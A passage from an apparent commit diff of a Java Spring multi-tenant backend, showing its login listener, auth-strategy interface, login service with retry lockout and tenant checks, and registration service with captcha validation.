UserAgent userAgent = UserAgentUtil.parse(ServletUtils.getRequest().getHeader("User-Agent")); UserAgent userAgent = UserAgentUtil.parse(ServletUtils.getRequest().getHeader("User-Agent"));
String ip = ServletUtils.getClientIP(); String ip = ServletUtils.getClientIP();
UserOnlineDTO dto = new UserOnlineDTO(); UserOnlineDTO dto = new UserOnlineDTO();
dto.setIpaddr(ip); dto.setIpaddr(ip);
dto.setLoginLocation(AddressUtils.getRealAddressByIP(ip)); dto.setLoginLocation(AddressUtils.getRealAddressByIP(ip));
dto.setBrowser(userAgent.getBrowser().getName()); dto.setBrowser(userAgent.getBrowser().getName());
dto.setOs(userAgent.getOs().getName()); dto.setOs(userAgent.getOs().getName());
dto.setLoginTime(System.currentTimeMillis()); dto.setLoginTime(System.currentTimeMillis());
dto.setTokenId(tokenValue); dto.setTokenId(tokenValue);
String username = (String) loginModel.getExtra(LoginHelper.USER_NAME_KEY); String username = (String) loginModel.getExtra(LoginHelper.USER_NAME_KEY);
String tenantId = (String) loginModel.getExtra(LoginHelper.TENANT_KEY); String tenantId = (String) loginModel.getExtra(LoginHelper.TENANT_KEY);
dto.setUserName(username); dto.setUserName(username);
dto.setClientKey((String) loginModel.getExtra(LoginHelper.CLIENT_KEY)); dto.setClientKey((String) loginModel.getExtra(LoginHelper.CLIENT_KEY));
dto.setDeviceType(loginModel.getDevice()); dto.setDeviceType(loginModel.getDevice());
dto.setDeptName((String) loginModel.getExtra(LoginHelper.DEPT_NAME_KEY)); dto.setDeptName((String) loginModel.getExtra(LoginHelper.DEPT_NAME_KEY));
TenantHelper.dynamic(tenantId, () -> { TenantHelper.dynamic(tenantId, () -> {
if(tokenConfig.getTimeout() == -1) { if(tokenConfig.getTimeout() == -1) {
RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto); RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto);
} else { } else {
RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto, Duration.ofSeconds(tokenConfig.getTimeout())); RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto, Duration.ofSeconds(tokenConfig.getTimeout()));
} }
}); });
// 记录登录日志 // 记录登录日志
LogininforEvent logininforEvent = new LogininforEvent(); LogininforEvent logininforEvent = new LogininforEvent();
logininforEvent.setTenantId(tenantId); logininforEvent.setTenantId(tenantId);
logininforEvent.setUsername(username); logininforEvent.setUsername(username);
logininforEvent.setStatus(Constants.LOGIN_SUCCESS); logininforEvent.setStatus(Constants.LOGIN_SUCCESS);
logininforEvent.setMessage(MessageUtils.message("user.login.success")); logininforEvent.setMessage(MessageUtils.message("user.login.success"));
logininforEvent.setRequest(ServletUtils.getRequest()); logininforEvent.setRequest(ServletUtils.getRequest());
SpringUtils.context().publishEvent(logininforEvent); SpringUtils.context().publishEvent(logininforEvent);
// 更新登录信息 // 更新登录信息
loginService.recordLoginInfo((Long) loginModel.getExtra(LoginHelper.USER_KEY), ip); loginService.recordLoginInfo((Long) loginModel.getExtra(LoginHelper.USER_KEY), ip);
log.info("user doLogin, userId:{}, token:{}", loginId, tokenValue); log.info("user doLogin, userId:{}, token:{}", loginId, tokenValue);
} }
/** /**
* 每次注销时触发 * 每次注销时触发
*/ */
@Override @Override
public void doLogout(String loginType, Object loginId, String tokenValue) { public void doLogout(String loginType, Object loginId, String tokenValue) {
String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY));
TenantHelper.dynamic(tenantId, () -> { TenantHelper.dynamic(tenantId, () -> {
RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue);
}); });
log.info("user doLogout, userId:{}, token:{}", loginId, tokenValue); log.info("user doLogout, userId:{}, token:{}", loginId, tokenValue);
} }
/** /**
* 每次被踢下线时触发 * 每次被踢下线时触发
*/ */
@Override @Override
public void doKickout(String loginType, Object loginId, String tokenValue) { public void doKickout(String loginType, Object loginId, String tokenValue) {
String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY));
TenantHelper.dynamic(tenantId, () -> { TenantHelper.dynamic(tenantId, () -> {
RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue);
}); });
log.info("user doKickout, userId:{}, token:{}", loginId, tokenValue); log.info("user doKickout, userId:{}, token:{}", loginId, tokenValue);
} }
/** /**
* 每次被顶下线时触发 * 每次被顶下线时触发
*/ */
@Override @Override
public void doReplaced(String loginType, Object loginId, String tokenValue) { public void doReplaced(String loginType, Object loginId, String tokenValue) {
String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY));
TenantHelper.dynamic(tenantId, () -> { TenantHelper.dynamic(tenantId, () -> {
RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue);
}); });
log.info("user doReplaced, userId:{}, token:{}", loginId, tokenValue); log.info("user doReplaced, userId:{}, token:{}", loginId, tokenValue);
} }
/** /**
* 每次被封禁时触发 * 每次被封禁时触发
*/ */
@Override @Override
public void doDisable(String loginType, Object loginId, String service, int level, long disableTime) { public void doDisable(String loginType, Object loginId, String service, int level, long disableTime) {
} }
/** /**
* 每次被解封时触发 * 每次被解封时触发
*/ */
@Override @Override
public void doUntieDisable(String loginType, Object loginId, String service) { public void doUntieDisable(String loginType, Object loginId, String service) {
} }
/** /**
* 每次打开二级认证时触发 * 每次打开二级认证时触发
*/ */
@Override @Override
public void doOpenSafe(String loginType, String tokenValue, String service, long safeTime) { public void doOpenSafe(String loginType, String tokenValue, String service, long safeTime) {
} }
/** /**
* 每次创建Session时触发 * 每次创建Session时触发
*/ */
@Override @Override
public void doCloseSafe(String loginType, String tokenValue, String service) { public void doCloseSafe(String loginType, String tokenValue, String service) {
} }
/** /**
* 每次创建Session时触发 * 每次创建Session时触发
*/ */
@Override @Override
public void doCreateSession(String id) { public void doCreateSession(String id) {
} }
/** /**
* 每次注销Session时触发 * 每次注销Session时触发
*/ */
@Override @Override
public void doLogoutSession(String id) { public void doLogoutSession(String id) {
} }
/** /**
* 每次Token续期时触发 * 每次Token续期时触发
*/ */
@Override @Override
public void doRenewTimeout(String tokenValue, Object loginId, long timeout) { public void doRenewTimeout(String tokenValue, Object loginId, long timeout) {
} }
} }

View File

@@ -1,45 +1,45 @@
package org.dromara.web.service; package org.dromara.web.service;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
/** /**
* 授权策略 * 授权策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
public interface IAuthStrategy { public interface IAuthStrategy {
String BASE_NAME = "AuthStrategy"; String BASE_NAME = "AuthStrategy";
/** /**
* 登录 * 登录
* *
* @param body 登录对象 * @param body 登录对象
* @param client 授权管理视图对象 * @param client 授权管理视图对象
* @param grantType 授权类型 * @param grantType 授权类型
* @return 登录验证信息 * @return 登录验证信息
*/ */
static LoginVo login(String body, SysClientVo client, String grantType) { static LoginVo login(String body, SysClientVo client, String grantType) {
// 授权类型和客户端id // 授权类型和客户端id
String beanName = grantType + BASE_NAME; String beanName = grantType + BASE_NAME;
if (!SpringUtils.containsBean(beanName)) { if (!SpringUtils.containsBean(beanName)) {
throw new ServiceException("授权类型不正确!"); throw new ServiceException("授权类型不正确!");
} }
IAuthStrategy instance = SpringUtils.getBean(beanName); IAuthStrategy instance = SpringUtils.getBean(beanName);
return instance.login(body, client); return instance.login(body, client);
} }
/** /**
* 登录 * 登录
* *
* @param body 登录对象 * @param body 登录对象
* @param client 授权管理视图对象 * @param client 授权管理视图对象
* @return 登录验证信息 * @return 登录验证信息
*/ */
LoginVo login(String body, SysClientVo client); LoginVo login(String body, SysClientVo client);
} }

View File

@@ -1,259 +1,259 @@
package org.dromara.web.service; package org.dromara.web.service;
import cn.dev33.satoken.exception.NotLoginException; import cn.dev33.satoken.exception.NotLoginException;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.bean.BeanUtil; import cn.hutool.core.bean.BeanUtil;
import cn.hutool.core.collection.CollUtil; import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.lang.Opt; import cn.hutool.core.lang.Opt;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import com.baomidou.lock.annotation.Lock4j; import com.baomidou.lock.annotation.Lock4j;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import me.zhyd.oauth.model.AuthUser; import me.zhyd.oauth.model.AuthUser;
import org.dromara.common.core.constant.CacheConstants; import org.dromara.common.core.constant.CacheConstants;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.constant.TenantConstants; import org.dromara.common.core.constant.TenantConstants;
import org.dromara.common.core.domain.dto.RoleDTO; import org.dromara.common.core.domain.dto.RoleDTO;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.enums.LoginType; import org.dromara.common.core.enums.LoginType;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.*; import org.dromara.common.core.utils.*;
import org.dromara.common.log.event.LogininforEvent; import org.dromara.common.log.event.LogininforEvent;
import org.dromara.common.mybatis.helper.DataPermissionHelper; import org.dromara.common.mybatis.helper.DataPermissionHelper;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.exception.TenantException; import org.dromara.common.tenant.exception.TenantException;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.bo.SysSocialBo; import org.dromara.system.domain.bo.SysSocialBo;
import org.dromara.system.domain.vo.*; import org.dromara.system.domain.vo.*;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.system.service.*; import org.dromara.system.service.*;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
import java.time.Duration; import java.time.Duration;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import java.util.function.Supplier; import java.util.function.Supplier;
/** /**
* 登录校验方法 * 登录校验方法
* *
* @author Lion Li * @author Lion Li
*/ */
@RequiredArgsConstructor @RequiredArgsConstructor
@Slf4j @Slf4j
@Service @Service
public class SysLoginService { public class SysLoginService {
@Value("${user.password.maxRetryCount}") @Value("${user.password.maxRetryCount}")
private Integer maxRetryCount; private Integer maxRetryCount;
@Value("${user.password.lockTime}") @Value("${user.password.lockTime}")
private Integer lockTime; private Integer lockTime;
private final ISysTenantService tenantService; private final ISysTenantService tenantService;
private final ISysPermissionService permissionService; private final ISysPermissionService permissionService;
private final ISysSocialService sysSocialService; private final ISysSocialService sysSocialService;
private final ISysRoleService roleService; private final ISysRoleService roleService;
private final ISysDeptService deptService; private final ISysDeptService deptService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
/** /**
* 绑定第三方用户 * 绑定第三方用户
* *
* @param authUserData 授权响应实体 * @param authUserData 授权响应实体
*/ */
@Lock4j @Lock4j
public void socialRegister(AuthUser authUserData) { public void socialRegister(AuthUser authUserData) {
String authId = authUserData.getSource() + authUserData.getUuid(); String authId = authUserData.getSource() + authUserData.getUuid();
// 第三方用户信息 // 第三方用户信息
SysSocialBo bo = BeanUtil.toBean(authUserData, SysSocialBo.class); SysSocialBo bo = BeanUtil.toBean(authUserData, SysSocialBo.class);
BeanUtil.copyProperties(authUserData.getToken(), bo); BeanUtil.copyProperties(authUserData.getToken(), bo);
Long userId = LoginHelper.getUserId(); Long userId = LoginHelper.getUserId();
bo.setUserId(userId); bo.setUserId(userId);
bo.setAuthId(authId); bo.setAuthId(authId);
bo.setOpenId(authUserData.getUuid()); bo.setOpenId(authUserData.getUuid());
bo.setUserName(authUserData.getUsername()); bo.setUserName(authUserData.getUsername());
bo.setNickName(authUserData.getNickname()); bo.setNickName(authUserData.getNickname());
List<SysSocialVo> checkList = sysSocialService.selectByAuthId(authId); List<SysSocialVo> checkList = sysSocialService.selectByAuthId(authId);
if (CollUtil.isNotEmpty(checkList)) { if (CollUtil.isNotEmpty(checkList)) {
throw new ServiceException("此三方账号已经被绑定!"); throw new ServiceException("此三方账号已经被绑定!");
} }
// 查询是否已经绑定用户 // 查询是否已经绑定用户
SysSocialBo params = new SysSocialBo(); SysSocialBo params = new SysSocialBo();
params.setUserId(userId); params.setUserId(userId);
params.setSource(bo.getSource()); params.setSource(bo.getSource());
List<SysSocialVo> list = sysSocialService.queryList(params); List<SysSocialVo> list = sysSocialService.queryList(params);
if (CollUtil.isEmpty(list)) { if (CollUtil.isEmpty(list)) {
// 没有绑定用户, 新增用户信息 // 没有绑定用户, 新增用户信息
sysSocialService.insertByBo(bo); sysSocialService.insertByBo(bo);
} else { } else {
// 更新用户信息 // 更新用户信息
bo.setId(list.get(0).getId()); bo.setId(list.get(0).getId());
sysSocialService.updateByBo(bo); sysSocialService.updateByBo(bo);
// 如果要绑定的平台账号已经被绑定过了 是否抛异常自行决断 // 如果要绑定的平台账号已经被绑定过了 是否抛异常自行决断
// throw new ServiceException("此平台账号已经被绑定!"); // throw new ServiceException("此平台账号已经被绑定!");
} }
} }
/** /**
* 退出登录 * 退出登录
*/ */
public void logout() { public void logout() {
try { try {
LoginUser loginUser = LoginHelper.getLoginUser(); LoginUser loginUser = LoginHelper.getLoginUser();
if (ObjectUtil.isNull(loginUser)) { if (ObjectUtil.isNull(loginUser)) {
return; return;
} }
if (TenantHelper.isEnable() && LoginHelper.isSuperAdmin()) { if (TenantHelper.isEnable() && LoginHelper.isSuperAdmin()) {
// 超级管理员 登出清除动态租户 // 超级管理员 登出清除动态租户
TenantHelper.clearDynamic(); TenantHelper.clearDynamic();
} }
recordLogininfor(loginUser.getTenantId(), loginUser.getUsername(), Constants.LOGOUT, MessageUtils.message("user.logout.success")); recordLogininfor(loginUser.getTenantId(), loginUser.getUsername(), Constants.LOGOUT, MessageUtils.message("user.logout.success"));
} catch (NotLoginException ignored) { } catch (NotLoginException ignored) {
} finally { } finally {
try { try {
StpUtil.logout(); StpUtil.logout();
} catch (NotLoginException ignored) { } catch (NotLoginException ignored) {
} }
} }
} }
/** /**
* 记录登录信息 * 记录登录信息
* *
* @param tenantId 租户ID * @param tenantId 租户ID
* @param username 用户名 * @param username 用户名
* @param status 状态 * @param status 状态
* @param message 消息内容 * @param message 消息内容
*/ */
public void recordLogininfor(String tenantId, String username, String status, String message) { public void recordLogininfor(String tenantId, String username, String status, String message) {
LogininforEvent logininforEvent = new LogininforEvent(); LogininforEvent logininforEvent = new LogininforEvent();
logininforEvent.setTenantId(tenantId); logininforEvent.setTenantId(tenantId);
logininforEvent.setUsername(username); logininforEvent.setUsername(username);
logininforEvent.setStatus(status); logininforEvent.setStatus(status);
logininforEvent.setMessage(message); logininforEvent.setMessage(message);
logininforEvent.setRequest(ServletUtils.getRequest()); logininforEvent.setRequest(ServletUtils.getRequest());
SpringUtils.context().publishEvent(logininforEvent); SpringUtils.context().publishEvent(logininforEvent);
} }
/** /**
* 构建登录用户 * 构建登录用户
*/ */
public LoginUser buildLoginUser(SysUserVo user) { public LoginUser buildLoginUser(SysUserVo user) {
LoginUser loginUser = new LoginUser(); LoginUser loginUser = new LoginUser();
loginUser.setTenantId(user.getTenantId()); loginUser.setTenantId(user.getTenantId());
loginUser.setUserId(user.getUserId()); loginUser.setUserId(user.getUserId());
loginUser.setDeptId(user.getDeptId()); loginUser.setDeptId(user.getDeptId());
loginUser.setUsername(user.getUserName()); loginUser.setUsername(user.getUserName());
loginUser.setNickname(user.getNickName()); loginUser.setNickname(user.getNickName());
loginUser.setUserType(user.getUserType()); loginUser.setUserType(user.getUserType());
loginUser.setIdentity(user.getIdentity()); loginUser.setIdentity(user.getIdentity());
loginUser.setRealName(user.getRealName()); loginUser.setRealName(user.getRealName());
loginUser.setMenuPermission(permissionService.getMenuPermission(user.getUserId())); loginUser.setMenuPermission(permissionService.getMenuPermission(user.getUserId()));
loginUser.setRolePermission(permissionService.getRolePermission(user.getUserId())); loginUser.setRolePermission(permissionService.getRolePermission(user.getUserId()));
if (ObjectUtil.isNotNull(user.getDeptId())) { if (ObjectUtil.isNotNull(user.getDeptId())) {
Opt<SysDeptVo> deptOpt = Opt.of(user.getDeptId()).map(deptService::selectDeptById); Opt<SysDeptVo> deptOpt = Opt.of(user.getDeptId()).map(deptService::selectDeptById);
loginUser.setDeptName(deptOpt.map(SysDeptVo::getDeptName).orElse(StringUtils.EMPTY)); loginUser.setDeptName(deptOpt.map(SysDeptVo::getDeptName).orElse(StringUtils.EMPTY));
loginUser.setDeptCategory(deptOpt.map(SysDeptVo::getDeptCategory).orElse(StringUtils.EMPTY)); loginUser.setDeptCategory(deptOpt.map(SysDeptVo::getDeptCategory).orElse(StringUtils.EMPTY));
} }
List<SysRoleVo> roles = roleService.selectRolesByUserId(user.getUserId()); List<SysRoleVo> roles = roleService.selectRolesByUserId(user.getUserId());
loginUser.setRoles(BeanUtil.copyToList(roles, RoleDTO.class)); loginUser.setRoles(BeanUtil.copyToList(roles, RoleDTO.class));
return loginUser; return loginUser;
} }
/** /**
* 记录登录信息 * 记录登录信息
* *
* @param userId 用户ID * @param userId 用户ID
*/ */
public void recordLoginInfo(Long userId, String ip) { public void recordLoginInfo(Long userId, String ip) {
SysUser sysUser = new SysUser(); SysUser sysUser = new SysUser();
sysUser.setUserId(userId); sysUser.setUserId(userId);
sysUser.setLoginIp(ip); sysUser.setLoginIp(ip);
sysUser.setLoginDate(DateUtils.getNowDate()); sysUser.setLoginDate(DateUtils.getNowDate());
sysUser.setUpdateBy(userId); sysUser.setUpdateBy(userId);
DataPermissionHelper.ignore(() -> userMapper.updateById(sysUser)); DataPermissionHelper.ignore(() -> userMapper.updateById(sysUser));
} }
/** /**
* 登录校验 * 登录校验
*/ */
public void checkLogin(LoginType loginType, String tenantId, String username, Supplier<Boolean> supplier) { public void checkLogin(LoginType loginType, String tenantId, String username, Supplier<Boolean> supplier) {
String errorKey = CacheConstants.PWD_ERR_CNT_KEY + username; String errorKey = CacheConstants.PWD_ERR_CNT_KEY + username;
String loginFail = Constants.LOGIN_FAIL; String loginFail = Constants.LOGIN_FAIL;
// 获取用户登录错误次数默认为0 (可自定义限制策略 例如: key + username + ip) // 获取用户登录错误次数默认为0 (可自定义限制策略 例如: key + username + ip)
int errorNumber = ObjectUtil.defaultIfNull(RedisUtils.getCacheObject(errorKey), 0); int errorNumber = ObjectUtil.defaultIfNull(RedisUtils.getCacheObject(errorKey), 0);
// 锁定时间内登录 则踢出 // 锁定时间内登录 则踢出
if (errorNumber >= maxRetryCount) { if (errorNumber >= maxRetryCount) {
recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime)); recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime));
throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime); throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime);
} }
if (supplier.get()) { if (supplier.get()) {
// 错误次数递增 // 错误次数递增
errorNumber++; errorNumber++;
RedisUtils.setCacheObject(errorKey, errorNumber, Duration.ofMinutes(lockTime)); RedisUtils.setCacheObject(errorKey, errorNumber, Duration.ofMinutes(lockTime));
// 达到规定错误次数 则锁定登录 // 达到规定错误次数 则锁定登录
if (errorNumber >= maxRetryCount) { if (errorNumber >= maxRetryCount) {
recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime)); recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime));
throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime); throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime);
} else { } else {
// 未达到规定错误次数 // 未达到规定错误次数
recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitCount(), errorNumber)); recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitCount(), errorNumber));
throw new UserException(loginType.getRetryLimitCount(), errorNumber); throw new UserException(loginType.getRetryLimitCount(), errorNumber);
} }
} }
// 登录成功 清空错误次数 // 登录成功 清空错误次数
RedisUtils.deleteObject(errorKey); RedisUtils.deleteObject(errorKey);
} }
/** /**
* 校验租户 * 校验租户
* *
* @param tenantId 租户ID * @param tenantId 租户ID
*/ */
public void checkTenant(String tenantId) { public void checkTenant(String tenantId) {
if (!TenantHelper.isEnable()) { if (!TenantHelper.isEnable()) {
return; return;
} }
if (StringUtils.isBlank(tenantId)) { if (StringUtils.isBlank(tenantId)) {
throw new TenantException("tenant.number.not.blank"); throw new TenantException("tenant.number.not.blank");
} }
if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) {
return; return;
} }
SysTenantVo tenant = tenantService.queryByTenantId(tenantId); SysTenantVo tenant = tenantService.queryByTenantId(tenantId);
if (ObjectUtil.isNull(tenant)) { if (ObjectUtil.isNull(tenant)) {
log.info("登录租户:{} 不存在.", tenantId); log.info("登录租户:{} 不存在.", tenantId);
throw new TenantException("tenant.not.exists"); throw new TenantException("tenant.not.exists");
} else if (SystemConstants.DISABLE.equals(tenant.getStatus())) { } else if (SystemConstants.DISABLE.equals(tenant.getStatus())) {
log.info("登录租户:{} 已被停用.", tenantId); log.info("登录租户:{} 已被停用.", tenantId);
throw new TenantException("tenant.blocked"); throw new TenantException("tenant.blocked");
} else if (ObjectUtil.isNotNull(tenant.getExpireTime()) } else if (ObjectUtil.isNotNull(tenant.getExpireTime())
&& new Date().after(tenant.getExpireTime())) { && new Date().after(tenant.getExpireTime())) {
log.info("登录租户:{} 已超过有效期.", tenantId); log.info("登录租户:{} 已超过有效期.", tenantId);
throw new TenantException("tenant.expired"); throw new TenantException("tenant.expired");
} }
} }
/** /**
* 根据username查询用户对象 * 根据username查询用户对象
* *
* @param username * @param username
* @return * @return
*/ */
public SysUserVo getSysUserByUsername(String username) { public SysUserVo getSysUserByUsername(String username) {
return userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName,username)); return userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName,username));
} }
} }

View File

@@ -1,115 +1,115 @@
package org.dromara.web.service; package org.dromara.web.service;
import cn.dev33.satoken.secure.BCrypt; import cn.dev33.satoken.secure.BCrypt;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.domain.model.RegisterBody; import org.dromara.common.core.domain.model.RegisterBody;
import org.dromara.common.core.enums.UserType; import org.dromara.common.core.enums.UserType;
import org.dromara.common.core.exception.user.CaptchaException; import org.dromara.common.core.exception.user.CaptchaException;
import org.dromara.common.core.exception.user.CaptchaExpireException; import org.dromara.common.core.exception.user.CaptchaExpireException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.ServletUtils; import org.dromara.common.core.utils.ServletUtils;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.log.event.LogininforEvent; import org.dromara.common.log.event.LogininforEvent;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.common.web.config.properties.CaptchaProperties; import org.dromara.common.web.config.properties.CaptchaProperties;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.bo.SysUserBo; import org.dromara.system.domain.bo.SysUserBo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.system.service.ISysUserService; import org.dromara.system.service.ISysUserService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 注册校验方法 * 注册校验方法
* *
* @author Lion Li * @author Lion Li
*/ */
@RequiredArgsConstructor @RequiredArgsConstructor
@Service @Service
public class SysRegisterService { public class SysRegisterService {
private final ISysUserService userService; private final ISysUserService userService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
private final CaptchaProperties captchaProperties; private final CaptchaProperties captchaProperties;
/** /**
* 注册 * 注册
*/ */
public void register(RegisterBody registerBody) { public void register(RegisterBody registerBody) {
String tenantId = registerBody.getTenantId(); String tenantId = registerBody.getTenantId();
String username = registerBody.getUsername(); String username = registerBody.getUsername();
String password = registerBody.getPassword(); String password = registerBody.getPassword();
// 校验用户类型是否存在 // 校验用户类型是否存在
String userType = UserType.getUserType(registerBody.getUserType()).getUserType(); String userType = UserType.getUserType(registerBody.getUserType()).getUserType();
boolean captchaEnabled = captchaProperties.getEnable(); boolean captchaEnabled = captchaProperties.getEnable();
// 验证码开关 // 验证码开关
if (captchaEnabled) { if (captchaEnabled) {
validateCaptcha(tenantId, username, registerBody.getCode(), registerBody.getUuid()); validateCaptcha(tenantId, username, registerBody.getCode(), registerBody.getUuid());
} }
SysUserBo sysUser = new SysUserBo(); SysUserBo sysUser = new SysUserBo();
sysUser.setUserName(username); sysUser.setUserName(username);
sysUser.setNickName(username); sysUser.setNickName(username);
sysUser.setPassword(BCrypt.hashpw(password)); sysUser.setPassword(BCrypt.hashpw(password));
sysUser.setUserType(userType); sysUser.setUserType(userType);
boolean exist = TenantHelper.dynamic(tenantId, () -> { boolean exist = TenantHelper.dynamic(tenantId, () -> {
return userMapper.exists(new LambdaQueryWrapper<SysUser>() return userMapper.exists(new LambdaQueryWrapper<SysUser>()
.eq(SysUser::getUserName, sysUser.getUserName())); .eq(SysUser::getUserName, sysUser.getUserName()));
}); });
if (exist) { if (exist) {
throw new UserException("user.register.save.error", username); throw new UserException("user.register.save.error", username);
} }
boolean regFlag = userService.registerUser(sysUser, tenantId); boolean regFlag = userService.registerUser(sysUser, tenantId);
if (!regFlag) { if (!regFlag) {
throw new UserException("user.register.error"); throw new UserException("user.register.error");
} }
recordLogininfor(tenantId, username, Constants.REGISTER, MessageUtils.message("user.register.success")); recordLogininfor(tenantId, username, Constants.REGISTER, MessageUtils.message("user.register.success"));
} }
/** /**
* 校验验证码 * 校验验证码
* *
* @param username 用户名 * @param username 用户名
* @param code 验证码 * @param code 验证码
* @param uuid 唯一标识 * @param uuid 唯一标识
*/ */
public void validateCaptcha(String tenantId, String username, String code, String uuid) { public void validateCaptcha(String tenantId, String username, String code, String uuid) {
String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, ""); String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, "");
String captcha = RedisUtils.getCacheObject(verifyKey); String captcha = RedisUtils.getCacheObject(verifyKey);
RedisUtils.deleteObject(verifyKey); RedisUtils.deleteObject(verifyKey);
if (captcha == null) { if (captcha == null) {
recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"));
throw new CaptchaExpireException(); throw new CaptchaExpireException();
} }
if (!code.equalsIgnoreCase(captcha)) { if (!code.equalsIgnoreCase(captcha)) {
recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error"));
throw new CaptchaException(); throw new CaptchaException();
} }
} }
/** /**
* 记录登录信息 * 记录登录信息
* *
* @param tenantId 租户ID * @param tenantId 租户ID
* @param username 用户名 * @param username 用户名
